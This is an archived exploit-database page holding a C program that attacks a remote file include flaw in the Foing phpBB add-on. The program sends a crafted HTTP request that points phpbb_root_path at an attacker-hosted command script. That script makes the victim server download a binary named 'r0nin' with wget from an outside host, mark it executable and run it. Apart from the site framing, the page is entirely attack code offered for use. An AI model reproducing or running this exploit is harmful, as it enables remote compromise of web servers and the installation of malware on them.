TUCoPS :: Web :: Apps :: b06-2588.htm

Foing Remote File Include Vulnerability
Foing Remote File Include Vulnerability
Foing Remote File Include Vulnerability



vendor : phpbbhacks.com=0D
Exploit BY :s3rv3r_hack3r=0D
WWW : http://www.hackerz.ir=0D 
Exploit >>>=0D
=0D
/* Foing Remote File Include exploit By s3rv3r_hack3r */=0D
=0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#define PORT 80=0D
=0D
char shellop[] = "GET /index.php?phpbb_root_path=http://www.hackerz.ir/cmd.txt?cmd=cd ../../../../../../../../../../tmp;wget http://www.hackerz.ir/r0nin;"=0D 
              "chmod +X r0nin;./r0nin%60%22|\r";=0D
=0D
int main(int argc, char *argv[]) {=0D
=0D
char shell[BUFSIZ];=0D
int sock;=0D
struct sockaddr_in remop;=0D
=0D
if(argc != 2) {=0D
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
	printf("\n             Iran Hackerz Security Team             \n");=0D
printf("\n WebSite's: www.hackerz.ir & www.h4ckerz.com \n");=0D 
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
	printf("\n*Foing Remote File Include Vulnerability [PHPBB]*   \n");=0D
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
printf("\nUsage: http://www.Victim.ltd/[foingpath] \n");=0D 
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
return 0; }=0D
=0D
if(argc == 2) {=0D
=0D
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
printf("\nExploit By : s3rv3r_hack3r@yahoo.com \n");=0D 
	printf("\n                            PLZ A W8                \n");=0D
	printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");=0D
=0D
=0D
remop.sin_family = AF_INET;=0D
remop.sin_port = htons(PORT);=0D
remop.sin_addr.s_addr = inet_addr(argv[1]);=0D
=0D
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {=0D
printf("\nERROR: Socket()\n\n");=0D
return -1; }=0D
=0D
if(connect(sock,(struct sockaddr *)&remop, sizeof(struct sockaddr)) < 0) {=0D
printf("\nERROR: Connect()\n\n");=0D
return -1; }=0D
=0D
if(send(sock,&shellop, sizeof(shellop), 0) < 0) {=0D
printf("\nERROR: Send()\n\n");=0D
return -1; }=0D
=0D
close(sock);=0D
sleep(3);=0D
=0D
printf("\nr0nin run seccessfuly\n\n");=0D
=0D
printf("\n"); }=0D
=0D
return 0; }

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH